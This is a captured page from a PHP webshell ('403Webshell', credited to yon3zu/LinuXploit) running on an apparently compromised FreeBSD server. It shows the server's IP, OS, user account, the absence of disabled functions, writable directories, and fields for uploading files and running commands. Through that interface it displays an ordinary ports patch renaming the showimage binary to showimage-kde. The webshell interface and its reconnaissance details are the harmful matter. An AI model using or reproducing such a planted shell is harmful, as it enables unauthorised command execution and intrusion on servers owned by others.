403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/showimage/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/showimage/files/patch-CMakeLists.txt
As to not conflict with graphics/sdl_image rename the installed binary to
showimage-kde.

--- CMakeLists.txt.orig	2017-03-29 22:13:25 UTC
+++ CMakeLists.txt
@@ -2,6 +2,7 @@ cmake_minimum_required(VERSION 2.8.12 FATAL_ERROR)

 find_package(ECM 1.3.0 REQUIRED NO_MODULE)
 set(CMAKE_MODULE_PATH ${ECM_MODULE_PATH})
+set(SHOWIMAGE "showimage-kde")

 add_definitions(-DTRANSLATION_DOMAIN="showimage")

@@ -36,9 +37,9 @@ ecm_install_icons(ICONS 32-apps-showimage.png
                   DESTINATION ${ICON_INSTALL_DIR}
                   THEME hicolor)

-add_executable(showimage ${showimage_SRCS})
+add_executable(${SHOWIMAGE} ${showimage_SRCS})

-target_link_libraries(showimage
+target_link_libraries(${SHOWIMAGE}
                       Qt5::Core
                       Qt5::Widgets
                       KF5::ConfigCore
@@ -51,8 +52,8 @@ target_link_libraries(showimage
                       KF5::XmlGui
 )

-install(TARGETS showimage ${INSTALL_TARGETS_DEFAULT_ARGS})
-install(FILES showimage.desktop DESTINATION ${XDG_APPS_INSTALL_DIR})
+install(TARGETS ${SHOWIMAGE} ${INSTALL_TARGETS_DEFAULT_ARGS})
+install(FILES showimage.desktop DESTINATION ${XDG_APPS_INSTALL_DIR} RENAME ${SHOWIMAGE}.desktop)
 #install(FILES showimage.appdata.xml DESTINATION ${KDE_INSTALL_METAINFODIR})

 add_subdirectory(po)

Youez - 2016 - github.com/yon3zu
LinuXploit